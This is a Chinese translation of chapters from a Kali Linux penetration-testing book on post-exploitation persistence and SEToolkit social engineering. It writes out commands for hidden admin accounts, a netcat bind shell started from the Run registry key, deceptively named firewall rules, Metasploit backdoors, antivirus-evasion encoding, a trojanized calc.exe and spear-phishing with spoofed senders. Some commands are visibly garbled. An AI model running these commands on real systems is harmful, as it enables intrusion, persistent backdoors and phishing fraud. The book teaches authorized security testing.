精通-Kali-Linux-高级渗透测试-二-

171 阅读1小时+

精通 Kali Linux 高级渗透测试(二)

原文:annas-archive.org/md5/2DEEA011D658BEAFD40C40F1FA9AC488

译者:飞龙

协议:CC BY-NC-SA 4.0

第六章:后期利用 - 持久性

攻击者杀伤链的最后阶段是“命令、控制和通信”阶段,攻击者依赖与被攻击系统的持久连接,以确保他们可以继续保持控制。

为了有效,攻击者必须能够保持交互式持久性 - 他们必须与被利用的系统保持双向通信渠道(交互式),而不被发现地在被攻击系统上长时间保持(持久性)。这种连接的要求是因为以下原因:

  • 网络入侵可能会被检测到,并且被攻击的系统可能会被识别并修补

  • 一些漏洞只能利用一次,因为漏洞是间歇性的,利用会导致系统失败,或者因为利用迫使系统改变,使漏洞无法使用

  • 攻击者可能需要多次返回同一目标出于各种原因。

  • 在目标被攻击时,其有用性并不总是立即知晓

用于保持交互式持久性的工具通常被称为经典术语,如后门rootkit。然而,自动恶意软件和人为攻击对长期持久性的趋势已经模糊了传统标签的含义;因此,我们将持久代理指的是旨在长期留在被攻击系统上的恶意软件。

这些持久代理为攻击者和渗透测试人员执行许多功能,包括以下功能:

  • 允许上传额外的工具来支持新的攻击,特别是针对位于同一网络上的系统。

  • 促进从被攻击系统和网络中窃取数据。

  • 允许攻击者重新连接到被攻击的系统,通常通过加密通道以避免被发现。已知持久代理在系统上保留了一年以上。

  • 采用反取证技术以避免被发现,包括隐藏在目标的文件系统或系统内存中,使用强身份验证和使用加密。

在本章中,您将了解以下内容:

  • 损害现有系统和应用程序文件以进行远程访问

  • 创建持久代理

  • 使用 Metasploit Framework 保持持久性

  • 重定端口以绕过网络控制

为了远程访问而损害现有系统和应用程序文件

最佳的持久代理是不需要隐藏的代理,因为它是受损系统现有文件结构的一部分;攻击者只需添加某些功能来将常规系统文件和应用程序转换为持久代理。这种方法几乎永远不会被入侵检测系统等安全控制发现。

远程启用 Telnet 服务

用于保持远程访问的一种技术是使用 Metasploit Framework 在 Windows 平台上启用 Telnet 服务,并使用它提供持久性。

第一步是损害目标系统以获得 meterpreter 会话(迁移会话以确保稳定的 shell),然后提升访问特权。

接下来,使用以下命令获取本地命令 shell 以访问目标系统:

meterpreter> execute -H -f cmd -i

执行此命令时,会创建一个交互式命令 shell(-i),作为隐藏进程(-H)。

使用 shell 的命令提示符,创建一个新的用户帐户。在创建用户帐户以确保持久性时,许多攻击者使用以下两部分策略:

  • 创建一个帐户,如果被调查,会引起注意(例如,Leet7737)

  • 创建一个看起来像是正常系统功能的帐户,比如Service_Account,使用以下命令:

C:\net user Service_Account password /ADD
C:\net localgroup administrators Service_Account /ADD

创建新用户帐户后,退出 Windows 命令 shell。

要启用 Telnet,请从meterpreter提示符中运行以下命令:

run gettelnet -e

执行前一个命令的结果如下截图所示:

远程启用 Telnet 服务

在前一个截图中显示的脚本在受损系统上创建了一个持久的 Telnet 服务。要访问它,请使用 Telnet 协议连接到系统的 IP 地址,并提供用于创建帐户的用户名和密码,如下一个截图所示:

远程启用 Telnet 服务

Telnet 服务将持续存在,直到被移除。不幸的是,使用 Telnet 存在一些限制:它很容易被发现(特别是因为凭据是明文传输的),并且它只能在命令行模式下运行。

但是,如果您需要 GUI 来访问受损系统上的某些应用程序呢?

远程启用 Windows 终端服务

确保远程访问的最可靠技术之一是持久地启用 Windows 终端服务,也称为远程桌面协议RDP)。为此,您必须具有管理员特权,并了解目标操作系统的版本。

例如,如果目标是 Windows 7,使用meterpreter在目标上获取交互式命令 shell,然后输入以下命令更改注册表:

C:\ reg add "hklm\system\currentControlSet\Control\Terminal
  Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
C:\reg add "hklm\system\currentControlSet\Control\Terminal
  Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f 

为了确保 RDP 能够通过客户端防火墙,使用以下命令添加规则:

C:\ netshadvfirewall firewall set rule group="remote desktop"new enable=Yes

现在我们可以使用以下命令启动 RDP 服务:

C:\net start Termservice

更改启动 RDP 还不是持久的;每次计算机启动时使用以下命令启动 RDP:

C:\sc configTermService start= auto

启用 RDP 的过程并不太复杂,但应该编写脚本以减少错误的可能性,特别是在处理系统注册表时。幸运的是,meterpreter框架使用GETGUI脚本自动启用 RDP 服务。

meterpreter提示符运行时,以下屏幕截图中显示的命令行创建了帐户的用户名和密码,隐藏了帐户,使其在登录屏幕上不可见,并对注册表进行了必要的更改以保持持久性。以下屏幕截图显示了用于创建一个看起来像是合法帐户(服务帐户)的用户名的命令,密码很简单。

远程启用 Windows 终端服务

要连接到受损的远程桌面,请使用 Kali 的rdesktop程序。

远程启用虚拟网络计算

如果系统包含已知受损的应用程序(特别是远程访问程序),可能可以利用现有的漏洞来利用系统。例如:

  • 可能可以从注册表中提取一些程序的远程访问密码。VNC 将密码存储在注册表中,可以通过手动提取注册表键或上传和执行诸如 NirSoft 的 VNCPassView 之类的应用程序来获取这些密码。

  • 不同版本的 VNC 包含可以利用的不同漏洞,以便破坏应用程序并远程访问系统。如果用户安装了当前版本,可能可以卸载该版本并安装旧版本。由于各个版本之间功能的相似性,用户可能不会注意到替换,但攻击者可以利用旧版 VNC 中发现的身份验证绕过漏洞在后期保持访问。

Metasploit 具有直接使用 VNC 将 VNC 直接引入受攻击系统的能力,使用 VNCINJECT 模块。

在下面的屏幕截图中,VNC 被选为有效载荷,而不是常规的reverse_TCP shell:

远程启用虚拟网络计算

此攻击不需要任何身份验证。如果您正在测试客户端站点,请确保一旦漏洞已被证明,所有易受攻击的应用程序都已从受损系统中移除 - 否则,您已经创建了一个可以被其他攻击者找到并使用的访问点!

使用持久代理

传统上,攻击者会在受损系统上放置后门 - 如果“前门”为合法用户提供授权访问,后门应用程序允许攻击者返回到受攻击的系统并访问服务和数据。

不幸的是,传统的后门提供了有限的交互性,并且并不是设计为在受损系统上持久存在很长时间。这被攻击者社区视为一个重大缺点,因为一旦发现并移除了后门,就需要额外的工作来重复妥协步骤并利用系统,而被警告的系统管理员在防御网络及其资源方面更加困难。

Kali 现在专注于持久代理,如果正确使用,将更难以检测。我们将首先审查的工具是备受尊敬的 Netcat。

将 Netcat 作为持久代理

Netcat 是一个支持使用“原始”TCP 和 UDP 数据包从和向网络连接读写的应用程序。与 Telnet 或 FTP 等服务组织的数据包不同,Netcat 的数据包不附带特定于服务的头部或其他通道信息。这简化了通信,并允许几乎通用的通信通道。

Netcat 的最后一个稳定版本是由 Hobbit 于 1996 年发布的,它一直像以往一样有用;事实上,它经常被称为TCP/IP 瑞士军刀。Netcat 可以执行许多功能,包括以下内容:

  • 端口扫描

  • 横幅抓取以识别服务

  • 端口重定向和代理

  • 文件传输和聊天,包括对数据取证和远程备份的支持

  • 用作后门或交互式持久代理,在受损系统上

此时,我们将专注于使用 Netcat 在受损系统上创建持久 shell。尽管以下示例使用 Windows 作为目标平台,但在基于 Unix 的平台上使用时功能相同。

在下面的截图中显示的示例中,我们将保留可执行文件的名称—nc.exe;但是,通常在使用之前将其重命名以最小化检测。即使它被重命名,通常也会被杀毒软件识别;许多攻击者会修改或删除 Netcat 源代码中不需要的部分,并在使用之前重新编译它;这些更改可以改变杀毒软件用于识别应用程序为 Netcat 的特定签名,使其对杀毒软件不可见。

Netcat 存储在 Kali 的/usr/share/windows-binaries存储库中。要将其上传到受损系统,请在meterpreter中输入以下命令:

meterpreter> upload/usr/share/windows-binaries/nc.exe
C:\\WINDOWS\\system32 

前一个命令的执行结果显示在以下截图中:

将 Netcat 作为持久代理

您不必将其专门放在system32文件夹中;但是,由于此文件夹中的文件类型数量和多样性,这是在受损系统中隐藏文件的最佳位置。

提示

在对一个客户进行渗透测试时,我们在一个服务器上发现了六个独立的 Netcat 实例。Netcat 被两个不同的系统管理员安装了两次,以支持网络管理;其他四个实例是由外部攻击者安装的,在渗透测试之前没有被发现。因此,始终查看目标系统上是否已安装了 Netcat!

如果您没有meterpreter连接,可以使用Trivial File Transfer ProtocolTFTP)来传输文件。

接下来,配置注册表以在系统启动时启动 Netcat,并确保它在 444 端口上监听(或者您选择的任何其他端口,只要它没有被使用),使用以下命令:

meterpreter>reg setval -k
  HKLM\\software\\microsoft\\windows\\currentversion\\run -vv nc
  -d 'C:\\windows\\system32\\nc.exe -Ldp 444 -e cmd.exe' 

使用以下queryval命令确认注册表中的更改已成功实施:

meterpreter>reg queryval -k
  HKLM\\software\\microsoft\\windows\\currentverion\\run -vv nc 

使用netsh命令,在本地防火墙上打开一个端口,以确保受损系统将接受对 Netcat 的远程连接。了解目标操作系统是很重要的。netsh advfirewall firewall命令行上下文用于 Windows Vista 和 Windows Server 2008 及更高版本;netsh firewall命令用于早期操作系统。

要向本地 Windows 防火墙添加端口,请在meterpreter提示符处输入shell命令,然后使用适当的命令输入rule。在命名rule时,使用一个像svchostpassthrough这样的名称,表明rule对系统的正常运行很重要。示例命令如下所示:

C:\Windows\system32>netsh firewall add portopening TCP 444
  "service passthrough" 

使用以下命令确认更改已成功实施:

C:\windows\system32>netsh firewall show portopening

前面提到的命令的执行结果显示在以下截图中:

将 Netcat 作为持久代理

确认端口规则后,确保重启选项有效。

  • meterpreter提示符输入以下命令:
meterpreter> reboot

  • 从交互式 Windows shell 中输入以下命令:
C:\windows\system32>shutdown –r –t 00

要远程访问受损系统,请在命令提示符中输入nc,指示连接的详细程度(-v报告基本信息,-vv报告更多信息),然后输入目标的 IP 地址和端口号,如下截图所示:

将 Netcat 作为持久代理

不幸的是,使用 Netcat 存在一些限制—没有传输数据的身份验证或加密,并且几乎所有杀毒软件都会检测到它。

可以使用cryptcat解决加密问题,它是 Netcat 的变体,使用 Twofish 加密来保护被攻击主机和攻击者之间传输的数据。由 Bruce Schneier 开发的 Twofish 加密是一种先进的对称分组密码,为加密数据提供了相当强的保护。

要使用cryptcat,确保有一个准备好并配置了强密码的监听器,使用以下命令:

root@kali:~# cryptcat –k password –l –p 444

接下来,上传cryptcat到被攻击系统,并使用以下命令配置它连接到监听器的 IP 地址:

C:\cryptcat –k password <listener IP address> 444

不幸的是,Netcat 及其变体仍然可以被大多数杀毒软件检测到。可以使用十六进制编辑器修改 Netcat 的源代码使其不可检测;这将有助于避免触发杀毒软件的签名匹配动作,但这可能是一个漫长的反复试验过程。更有效的方法是利用 Metasploit Framework 的持久性机制。

使用 Metasploit Framework 保持持久性

Metasploit 的meterpreter包含几个支持在被攻击系统上保持持久性的脚本。我们将研究两个脚本选项,用于在被攻击系统上放置后门:metsvcpersistence

使用 metsvc 脚本

metsvc脚本是meterpreter的网络服务包装器,允许它被用作 Windows 服务或作为命令行应用程序运行。它通常被用作后门,以维持与被攻击系统的通信。

要使用metsvc,首先要攻击系统,然后将meterpreter迁移到explorer.exe进程,以获得更稳定的 shell。

通过调用run命令执行metsvc代理,如下截图所示。可以看到,它创建了一个临时安装目录,上传了三个文件(metsrv.dllmetsvc-server.exemetsvc.exe),然后启动了metsvc

使用 metsvc 脚本

要与持久的metsvc代理进行交互,攻击者打开 Metasploit Framework,并选择use exploit/multi/handler,载荷为windows/metsvc_bind_tcp,如下截图所示。还设置了其他参数(IP 地址和端口)。

使用 metsvc 脚本

当执行exploit命令时,会直接在两个系统之间打开一个会话,允许从meterpreter命令行执行权限提升和其他功能。执行exploit命令如下截图所示:

使用 metsvc 脚本

metsvc脚本不需要身份验证;一旦代理就位,任何人都可以使用它来访问被攻击系统。大多数攻击者不会在不修改源代码以要求身份验证或确保有某种方法来过滤远程连接的情况下使用它。

更重要的是,这不是一个隐秘的攻击。任何尝试列出运行中的进程,比如从meterpreter提示输入ps命令,都会识别出metsvc服务以及可疑地从Temp目录运行的可执行文件!在下面的截图中,位于 Temp 文件夹中的具有随机名称(CvjrsZWOMK)的目录明显标志着系统已被攻击:

使用 metsvc 脚本

简单检查Temp文件夹将识别出三个敌对文件,如下截图所示;然而,这些通常会在手动检查之前被杀毒软件标记。

使用 metsvc 脚本

使用持久性脚本

获得持久性的更有效方法是使用meterpreter提示的persistence脚本。

在系统被利用并且迁移命令已将初始 shell 移动到更安全的服务之后,攻击者可以从meterpreter提示符中调用persistence脚本。

在命令中使用-h将识别创建持久后门的可用选项,如下面的屏幕截图所示:

使用持久性脚本

在下面的屏幕截图中的示例中,我们已经配置persistence在系统启动时自动运行,并尝试每 10 秒连接到我们的监听器。监听器被标识为远程系统(-r)具有特定的 IP 地址和端口。此外,我们可以选择使用-U选项,它将在用户登录到系统时启动持久性。

使用持久性脚本

注意

请注意,我们已经任意选择了端口 444 供持久性使用;攻击者必须验证本地防火墙设置,以确保该端口是开放的,或者使用reg命令打开该端口。与大多数 Metasploit 模块一样,只要端口尚未被使用,就可以选择任何端口。

persistence脚本将 VBS 文件放在临时目录中;但是,您可以使用-L选项指定不同的位置。该脚本还将该文件添加到注册表的本地自动运行部分。

因为persistence脚本没有经过身份验证,任何人都可以使用它来访问受损系统,因此应在发现或完成渗透测试后尽快从系统中删除。要删除脚本,请确认清理资源文件的位置,然后执行以下resource命令:

meterpreter> run multi_console_command -rc
  /root/.msf4/logs/persistence/RWBEGGS-
  1E69067_20130920.0024/RWBEGGS-1E69067_20130920.0024.rc 

使用 Metasploit 创建独立的持久代理

Metasploit 框架可用于创建一个独立的可执行文件,可以在受损系统上持久存在并允许交互式通信。独立包的优势在于可以提前准备和测试以确保连接,并进行编码以绕过本地防病毒软件。

要创建一个简单的独立代理,请在 Kali 的命令提示符上启动msfconsole

使用msfpayload来制作持久代理。在下面的屏幕截图中的示例中,代理被配置为使用reverse_tcp shell,将连接到端口4444上的本地主机192.168.43.130。名为attack1.exe的代理将使用 win32 可执行文件模板。

使用 Metasploit 创建独立的持久代理

独立代理只能在未安装防病毒软件的受损系统上运行,或者如果使用适当的meterpreter命令先禁用了防病毒软件。要绕过防病毒软件,必须对后门进行编码。

有几种不同的选项可以对有效载荷进行编码,如下面的屏幕截图所示:

使用 Metasploit 创建独立的持久代理

要查看可用选项,请使用show encoders命令。

Metasploit 使用大约 30 种不同的编码器;默认情况下,如果未指定编码器,它将选择最合适的编码器。

一个很好的通用编码器是shikata_ga_nai。该编码器实现了多态 XOR 加反馈编码,针对 4 字节密钥,是 Metasploit 唯一被评为“优秀”的编码器。

要对先前准备的attack.exe代理进行编码,我们使用以下命令:

msf>msfencode -i attack.exe -o encoded_attack.exe -e
  x86/shikata_ga_nai -c 5 -t exe 

这使用shikata_ga_nai协议对attack.exe代理进行了五次编码。每次重新编码,它都变得更难检测。但是,可执行文件的大小也会增加。

完整的有效载荷可以直接从 Kali 的命令行中创建。不仅可以对其进行编码,还可以配置编码模式以避免特定字符。例如,在编码持久代理时应避免以下字符,因为它们可能导致攻击被发现和失败:

  • \x00代表 0 字节地址

  • \xa0 代表换行

  • \xad 代表回车

要创建多重编码的有效负载,请使用以下命令:

msf>msfpayload windows/meterpreter/bind_tcp
  LPORT=444 R| msfencode -e x86/shikata_ga_nai -c 5 -t raw -a
  x86 -b '\x00\x0a\x0d' -c 5 -x /root/Desktop/attack.exe -o
  /root/Desktop/encoded_attack.exe 

您还可以将msfpayload编码为现有的可执行文件,修改后的可执行文件和持久代理都将起作用。要将持久代理绑定到一个可执行文件(如计算器(calc.exe)),首先将适当的calc.exe文件复制到 Metasploit 的模板文件夹中,位于/usr/share/metasploit-framework/data/templates。当模板就位时,使用以下命令:

msf>msfpayload windows/meterpreter/bind_tcp
  LPORT=444 R| msfencode -t exe -* calc.exe -k -o
  encoded_calc_attack.exe -e x86/shikata_ga_nai -c 5 

代理可以放置在目标系统上,重命名为calc.exe以替换原始的计算器,然后执行。

不幸的是,几乎所有 Metasploit 编码的可执行文件都可以被客户端防病毒软件检测到。这归因于渗透测试人员向 VirusTotal(www.virustotal.com)等网站提交了加密的有效负载。然而,您可以创建一个可执行文件,然后使用 Veil-Evasion 对其进行加密,如第四章 利用中所述。

重定向端口以绕过网络控制

到目前为止,我们已经检查了对受攻击系统的远程控制访问,就好像我们在受害者和攻击者的机器之间有直接连接;然而,这种连接通常受到网络设备(如防火墙)的控制或阻止。

攻击者可以通过端口重定向来规避这些控制,这是一个指定的系统,它监听定义的端口并将原始数据包转发到特定的次要位置。

Kali 提供了几个支持端口重定向的工具,包括nccryptcatsocatsshfpipe和 Metasploit 的meterpreter;我们将在以下部分中看一些示例。

示例 1 - 简单的端口重定向

简单的端口重定向可能会被使用,例如,如果您已经在网络外部的非军事区DMZ)上损坏了一个系统,并且需要能够从远程位置与内部系统进行通信。

在 DMZ 中受损的系统上,配置一个 Netcat 实例来监听传入命令并将其转发到目标,使用以下命令:

root@kali:~# nc -l -p 44444 -e <TAGET IP> 444

这个命令将调用 Netcat(nc)来监听(-l)传入的流量,并执行(-e)将这些传入的流量传输到端口444上的目标。端口不是固定的,它们不必在监听/转发主机和最终目标上相同。

如果您缺乏有关目标内部网络的完整信息,可以尝试以下命令:

root@kali:~# nc -l -p <local listening port> -c "nc <TARGET IP> 
  <TARGET port> 

这个命令将设置本地(攻击者)Netcat 实例监听(-l)指定的端口,然后指示 Netcat 在每次新连接(-c)时创建一个新进程。

这个简单的例子允许外部人员连接到直接网络;然而,它不允许双向数据连接,这对于一些工具是必需的。

示例 2 - 双向端口重定向

考虑三个独立的 Windows 数据系统:

[攻击者] | [转发者] | [目标]

为了使用 Netcat 创建双向通信通道,我们将不得不使用命名管道。命名管道,也称为 FIFO,是一种创建定义的进程间通信的方法;这使我们可以将其处理为一个对象,在发出命令时更容易管理。在以下示例攻击中,我们创建一个名为reverse的命名管道来处理双向通信。

攻击者在他的本地系统上有一个 Netcat 实例,使用以下命令监听端口6661

nc -l 6661

转发者,一个安装了 Netcat 实例的受损主机,将监听传入的数据包并将其转发到目标;它被配置为使用以下命令在端口6666上监听:

nc -l 6666

在目标系统上,输入以下命令来创建命名管道:

mkfifo reverse

然后,配置本地的 Netcat 实例,使用命名管道建立跨转发系统与攻击者之间的双向通信,命令如下:

nc localhost 6661 0<reverse | nc localhost 6666 1>reverse

使用socat也可以实现相同的双向数据流,该工具旨在实现这种类型的连接。此示例的命令将从目标系统执行,并使用:

socat tcp:localhost:6661 tcp:localhost:6646

总结

在本章中,我们关注了攻击者杀伤链的最后阶段——命令、控制和通信阶段——在这个阶段,攻击者使用持久代理与被攻击系统进行通信。

这就结束了本书的第一部分,我们在其中详细研究了攻击者的杀伤链,以了解如何将其应用于对网络或孤立系统的妥协。

在第二部分中,交付阶段,我们将研究使用各种利用路径的杀伤链的具体应用。在第七章中,物理攻击和社会工程,我们将重点关注物理安全和社会工程攻击。主题将包括攻击方法论概述,制作恶意 USB 设备和流氓微型计算机,社会工程工具包,以及测试系统对钓鱼攻击的抵抗力。

第二部分:交付阶段

物理攻击和社会工程

利用无线通信

对基于 Web 的应用程序进行侦察和利用

利用远程访问通信

客户端利用

安装 Kali Linux

第七章:物理攻击和社会工程

社会工程,特别是与对目标系统的物理访问相结合时,是用于渗透测试或实际攻击的最成功的攻击向量。

作为支持杀链的攻击路径,社会工程侧重于攻击的非技术方面,利用人们的信任和天生的乐于助人来欺骗和操纵他们,使其妥协网络及其资源。

社会工程攻击的成功依赖于两个关键因素:

  • 在侦察阶段获得的知识。攻击者必须了解与目标相关的名称和用户名;更重要的是,攻击者必须了解网络用户的关注点。

  • 了解如何应用这些知识来说服潜在目标通过点击链接或执行程序来激活攻击。例如,如果目标公司刚刚与以前的竞争对手合并,员工的工作安全可能是最关注的问题。因此,与该主题相关的电子邮件或文件很可能会被目标个人打开。

Kali Linux 提供了几种工具和框架,如果以社会工程为借口影响受害者打开文件或执行某些操作,成功的几率会增加。例如脚本攻击(包括 Visual Basic、WMI 和 PowerShell 脚本)、由 Metasploit Framework 创建的可执行文件,以及BeEF浏览器利用框架)。

在本章中,我们将专注于社会工程工具包或 SEToolkit。使用这些工具的技术将作为使用社会工程从其他工具部署攻击的模型。

在本章结束时,您将学会如何使用 SEToolkit 执行以下操作:

  • 使用鱼叉式网络钓鱼和 Java 小程序攻击获取远程 shell

  • 使用凭证收割者攻击收集用户名和密码

  • 启动 tabnabbing 和 webjacking 攻击

  • 使用多攻击网络方法

  • 使用 PowerShell 的字母数字 shellcode 注入攻击

为支持 SET 的社会工程攻击,将描述以下一般实施做法:

  • 隐藏恶意可执行文件和混淆攻击者的 URL

  • 通过 DNS 重定向升级攻击

您还将学习如何创建和实施基于 Raspberry PI 微型计算机的敌对物理设备。

社会工程工具包

Social-Engineer Toolkit(SEToolkit)是由 David Kennedy(ReL1K)创建和编写的,并由一群活跃的合作者维护(www.social-engineer.org)。它是一个开源的 Python 驱动框架,专门设计用于促进社会工程攻击。

SEToolkit 的一个重要优势是它与 Metasploit Framework 的互连性,提供了所需的利用载荷、用于绕过防病毒的加密,以及当被攻击系统向攻击者发送 shell 时连接到受损系统的监听器模块。

在启动 SEToolkit 之前,您可能希望对配置文件进行一些修改。

社会工程工具包预先配置了常见的默认设置;但是,这些设置可以被修改以适应特定的攻击场景。在 Kali 中,配置文件是/usr/share/set/config/set_config。修改此文件允许您控制以下内容:

  • Metasploit 变量,包括位置、要使用的数据库、有效负载应该被编码的次数以及一旦建立了 meterpreter 会话后自动运行的命令。

  • Ettercapdsniff开关用于促进 DNS 重定向攻击和捕获认证凭据。通过控制 DNS,攻击者可以自动将一群人引导到使用setoolkit创建的虚假网站。

  • 配置sendmail或其他邮件程序以在需要伪造电子邮件地址的攻击中使用;这允许社会工程师通过使用看似来自可信来源的电子邮件地址(例如同一公司的高级经理)来增强攻击的可信度。

  • 要使用的电子邮件提供程序,包括 Gmail、Hotmail 和 Yahoo。

  • 使用伪造的发布者创建自签名的 Java 小程序,激活 SSL 证书,并窃取数字签名。

  • 其他变量,如 IP 地址、端口分配和编码参数。

要在 Kali 发行版中打开社会工程工具包(SET),请转到应用程序 | Kali Linux | 利用工具 | 社会工程工具包 | setoolkit,或在 shell 提示符下输入setoolkit。将显示主菜单,如下截图所示:

社会工程工具包

如果选择“1)社会工程攻击”,将显示以下子菜单:

社会工程工具包

以下是对社会工程攻击的简要解释:

  • 鱼叉式网络钓鱼攻击向量允许攻击者创建电子邮件消息并将其发送给有附加攻击的目标受害者。

  • 网站攻击向量利用多种基于 Web 的攻击,包括以下内容:

  • Java 小程序攻击方法伪造 Java 证书并传递基于 Metasploit 的有效负载。这是最成功的攻击之一,对 Windows、Linux 或 OSX 目标有效。

  • Metasploit 浏览器利用方法使用 iFrame 攻击传递 Metasploit 有效负载。

  • 凭证收割者攻击方法克隆一个网站并自动重写 POST 参数,以允许攻击者拦截和收割用户凭证;然后在收割完成后将受害者重定向回原始网站。

  • Tabnabbing 攻击方法用克隆页面替换非活动浏览器选项卡上的信息,该页面链接回攻击者。当受害者登录时,凭证将发送给攻击者。

  • 网络劫持攻击方法利用 iFrame 替换使突出显示的 URL 链接看起来合法;但是,当它被点击时,会弹出一个窗口,然后被恶意链接替换。

  • 多攻击 Web 方法允许攻击者选择一次性发动的几种攻击,包括Java 小程序攻击方法Metasploit 浏览器利用方法凭证收割者攻击方法Tabnabbing 攻击方法中间人攻击方法

  • 传染性媒体生成器创建一个autorun.inf文件和 Metasploit 有效负载。一旦刻录或复制到 USB 设备或物理媒体(CD 或 DVD)并插入目标系统,它将触发自动运行(如果自动运行已启用)并 compromise 系统。

  • 创建有效负载和监听器模块是一种快速的菜单驱动方法,用于创建 Metasploit 有效负载。攻击者必须使用单独的社会工程攻击来说服目标启动它。

  • MassMailer 攻击允许攻击者向单个电子邮件地址或收件人列表发送多个定制的电子邮件。

  • 基于 Arduino 的攻击向量程序化 Arduino 设备,如 Teensy。因为这些设备在连接到物理 Windows 系统时注册为 USB 键盘,它们可以绕过基于禁用自动运行或其他端点保护的安全性。

  • 短信欺骗攻击向量允许攻击者向某人的移动设备发送精心制作的短信服务文本,并伪装消息的来源。

  • 无线接入点攻击向量将在攻击者系统上创建一个虚假的无线接入点和 DHCP 服务器,并将所有 DNS 查询重定向到攻击者。攻击者随后可以发动各种攻击,如 Java 小程序攻击或凭证窃取攻击。

  • QR 码生成器攻击向量创建一个与攻击相关的定义 URL 的 QR 码。

  • Powershell 攻击向量允许攻击者创建依赖于 PowerShell 的攻击,PowerShell 是一种命令行 shell 和脚本语言,适用于所有 Windows Vista 及更高版本。

  • 第三方模块允许攻击者使用远程管理工具 Tommy EditionRATTE),作为 Java 小程序攻击的一部分或作为独立有效载荷。RATTE 是一个文本菜单驱动的远程访问工具。

SEToolkit 还提供了快速跟踪渗透测试的菜单项,该菜单项可以快速访问一些支持 SQL 数据库的暴力识别和密码破解的专门工具,以及一些基于 Python、SCCM 攻击向量、戴尔计算机 DRAC/机箱利用、用户枚举和 PSEXEC PowerShell 注入的定制利用。

菜单还提供了更新 Metasploit Framework、SEToolkit 和 SEToolkit 配置的选项。但是,应避免使用这些附加选项,因为它们在 Kali 上得到的支持不完整,并且可能会导致依赖冲突。

作为 SEToolkit 优势的一个初始示例,我们将看到如何使用它来获得远程 shell——从受损系统到攻击者系统的连接。

网络钓鱼攻击

网络钓鱼是针对大量受害者进行的电子邮件欺诈攻击,比如已知的美国互联网用户名单。目标通常没有联系,电子邮件也不试图吸引任何特定个人。相反,它包含一个普遍感兴趣的项目(例如,“点击这里购买便宜的药物”)和一个恶意链接或附件。攻击者打赌至少有一些人会点击链接或附件来发起攻击。

另一方面,钓鱼攻击是一种高度特定的网络钓鱼攻击形式——通过以特定方式制作电子邮件消息,攻击者希望吸引特定受众的注意。例如,如果攻击者知道销售部门使用特定应用程序来管理其客户关系,他可能伪装成应用程序供应商发送一封电子邮件,主题是“<应用程序>的紧急修复-点击链接下载”。

提示

网络钓鱼攻击的成功率通常低于 5%;然而,网络钓鱼攻击的成功率范围为 40%至 80%。这就是为什么侦察阶段的信息对于这种类型的攻击的成功至关重要。

平均而言,只需要向目标发送十到十五封电子邮件,就至少会有一封被点击。

在发动攻击之前,请确保 Kali 上安装了sendmailapt-get install sendmail)并将set_config文件从SENDMAIL=OFF更改为SENDMAIL=ON

要发动攻击,请从主 SEToolkit 菜单中选择社会工程攻击,然后从子菜单中选择网络钓鱼攻击向量。这将启动攻击的开始选项,如下截图所示:

网络钓鱼攻击

选择1执行大规模电子邮件攻击;然后将显示攻击有效负载列表,如下截图所示:

鱼叉式网络钓鱼攻击

最有效的攻击之一是15) Adobe PDF Embedded EXE Social Engineering;然而,所选择的攻击将取决于攻击者在侦察阶段获得的可用目标的知识。

在提示要使用您自己的 PDF 还是内置的空白 PDF 进行攻击时,选择内置的空白有效载荷的选项2,如下面的屏幕截图所示。然后将提示您选择有效载荷。

鱼叉式网络钓鱼攻击

通过在多个网络上进行测试,我们发现选项12Windows Reverse TCP shellWindows Meterpreter Reverse TCP)是最可靠的有效载荷。在本示例中,我们将选择Windows Meterpreter Reverse TCP——当打开 PDF 时,它将执行一个反向 shell 返回到攻击系统。

在隐蔽性比可靠性更重要的情况下,Windows Meterpreter Reverse HTTPS是最佳选择。

SEToolkit 将提示输入有效载荷侦听器(攻击者的 IP 地址)和侦听端口,默认端口为443

下一个菜单提示更改 PDF 文件的文件名;默认名称为moo.pdf,如下面的屏幕截图所示。

鱼叉式网络钓鱼攻击

默认名称不太可能吸引潜在受害者打开文件;此外,它可能会被客户端安全识别。出于这些原因,文件名应更改。名称应反映被攻击的目标受众。例如,如果您的目标是财务组,给 PDF 文件一个标题,比如税法修正案。

现在,您将被提供攻击单个电子邮件地址或群发邮件的选项(例如,目标公司的员工列表或公司内的特定群体)。本示例选择了选项1

SEToolkit 然后会提示您使用预定义模板或制作一次性电子邮件模板。如果您选择预定义模板,将提供以下选项:

鱼叉式网络钓鱼攻击

有效的社会工程攻击是为目标而制定的;因此,选择选项2一次性使用电子邮件模板,以创建一次性使用电子邮件模板,如下面的屏幕截图所示:

鱼叉式网络钓鱼攻击

您将被提供使用您自己的 Gmail 帐户发动攻击(1)或使用您自己的服务器或开放中继(2)的选项。如果您使用 Gmail 帐户,攻击很可能会失败,您将收到以下消息:

[!] Unable to deliver email. Printing exceptions message
below, this is most likely due to an illegal attachment. If using GMAIL they inspect PDFs and it is most likely getting caught. 

Gmail 检查出站电子邮件中的恶意文件,并且非常有效地识别 SEToolkit 和 Metasploit Framework 生成的有效载荷。如果您必须使用 GMail 发送有效载荷,请使用Veil-Evasion对其进行编码。

建议您使用sendmail选项发送可执行文件;此外,它允许您伪造电子邮件的来源,使其看起来好像来自可信任的来源。

目标将收到以下电子邮件消息:

鱼叉式网络钓鱼攻击

为了确保电子邮件的有效性,攻击者应该注意以下几点:

  • 内容应提供“胡萝卜”(新服务器将更快,具有改进的防病毒功能)和“棍棒”(您必须在访问电子邮件之前进行的更改)。大多数人对立即行动的呼吁做出反应,特别是当它影响到他们时。

  • 在先前给出的示例中,附加的文档标题为template.doc。在实际情况下,这将更改为Email instructions.doc

  • 确保您的拼写和语法正确,并且消息的语气与内容相匹配。

  • 发送电子邮件的个人的标题应与内容相匹配。如果目标组织很小,您可能需要伪造一个真实个人的名字,并将电子邮件发送给一个通常不与该人互动的小组。

  • 包括电话号码 - 这使得电子邮件看起来更“正式”,并且有各种方法可以使用商业 VoIP 解决方案获得带有本地区号的临时电话号码。

一旦攻击邮件发送给目标,成功激活(接收者启动可执行文件)将在攻击者的系统上创建一个反向 Meterpreter 隧道。然后,攻击者将利用 Meterpreter 和其他工具进行典型的后渗透活动。

使用网站攻击向量 - Java 小程序攻击方法

Java 小程序攻击方法使用感染的 Java 小程序将恶意应用加载到目标系统上。许多攻击者青睐这种攻击,因为它非常可靠,并且对 Windows、Linux 和 Mac OS X 系统都有效。

要发动攻击,打开 SEToolkit 并从主菜单中选择选项2) 网站攻击向量。然后选择选项1) Java 小程序攻击方法,启动初始菜单,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

